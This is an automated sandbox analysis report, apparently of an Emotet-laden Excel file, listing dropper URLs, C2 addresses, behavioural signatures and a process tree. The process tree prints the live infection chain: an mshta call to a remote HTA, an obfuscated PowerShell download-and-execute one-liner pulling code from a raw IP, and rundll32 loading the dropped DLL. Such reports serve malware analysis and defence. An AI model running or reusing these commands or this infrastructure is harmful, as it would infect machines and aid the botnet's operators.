Analysis

  • max time kernel
    121s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 15:49

General

  • Target
    tmpv897xcsa.xls
  • Size 154KB
  • Sample220127-s9ctkafbfl
  • SHA256 3cbc3b6b4051b7ce3558b3fe8e91f7c6d8c879aa2d2f66a8c813d58dc5a1db2e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpv897xcsa.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1892
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2152
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1048
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3664
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:888
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Eeqsrdcwwot\wlvbvjaysqmvxtt.edt",DEEIcU
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2128
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Eeqsrdcwwot\wlvbvjaysqmvxtt.edt",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3060
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 520 -s 1812
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3796

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/888-334-0x0000000004A40000-0x0000000004A67000-memory.dmp

        memory/888-336-0x0000000004C00000-0x0000000004C27000-memory.dmp

        memory/888-332-0x00000000049E0000-0x0000000004A07000-memory.dmp

        memory/888-330-0x0000000004980000-0x00000000049A7000-memory.dmp

        memory/888-328-0x00000000048A0000-0x00000000048C7000-memory.dmp

        memory/888-325-0x0000000001060000-0x0000000001087000-memory.dmp

        memory/888-323-0x0000000000E80000-0x0000000000EA7000-memory.dmp

        memory/2128-337-0x00000000033A0000-0x00000000033C7000-memory.dmp

        memory/2152-293-0x0000022271E30000-0x0000022271E6C000-memory.dmp

        memory/2152-309-0x0000022271820000-0x0000022271822000-memory.dmp

        memory/2152-311-0x0000022271826000-0x0000022271828000-memory.dmp

        memory/2152-310-0x0000022271823000-0x0000022271825000-memory.dmp

        memory/2152-274-0x0000022271830000-0x0000022271852000-memory.dmp

        memory/2152-304-0x0000022271EF0000-0x0000022271F66000-memory.dmp

        memory/2368-117-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-116-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-129-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

        memory/2368-128-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmp

        memory/2368-115-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-121-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-118-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-380-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-381-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-382-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/2368-383-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmp

        memory/3060-339-0x0000000003220000-0x0000000003247000-memory.dmp